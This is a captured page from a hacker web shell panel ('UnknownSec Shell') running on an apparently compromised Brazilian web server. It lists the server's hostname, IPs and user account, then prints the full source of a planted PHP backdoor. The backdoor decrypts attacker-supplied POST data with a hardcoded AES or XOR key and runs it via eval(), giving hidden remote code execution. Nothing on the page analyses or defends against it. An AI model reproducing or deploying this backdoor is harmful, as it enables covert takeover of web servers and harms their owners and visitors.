shell bypass 403

UnknownSec Shell

Uname: Linux dedi-15171674.espacofacial.com.br 5.14.0-687.36.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Aug 7 05:40:49 EDT 2026 x86_64
Software: Apache
PHP version: 8.2.33 [ PHP INFO ] PHP os: Linux
Server Ip: 172.67.154.186
Your Ip: 216.73.216.57
User: espa7358 (1004) | Group: espa7358 (1003)
Safe Mode: OFF
Disable Function:
NONE

name : shell_4e98a5be.php
<?php
@error_reporting(0);
$key="6e6c34664236453c"; //明文post_content
@session_start();
$_SESSION['k']=$key;
@session_write_close();
$post=file_get_contents("php://input");
if(!$post)return;
$useAES=false;
if(extension_loaded('openssl')){
	$dec=@openssl_decrypt($post,"AES-128-ECB",$key);
	if($dec!==false){$post=$dec;$useAES=true;}
}
if(!$useAES){
	$post=base64_decode($post);
	for($i=0;$i<strlen($post);$i++){$post[$i]=$post[$i]^$key[($i+1)&15];}
}
$arr=explode('|',$post,2);
@ob_start();
eval($arr[1]);
$output=@ob_get_clean();
if($output===false)$output='';
echo "\n<!-- BH_START ".$output." BH_END -->\n";
© 2026 UnknownSec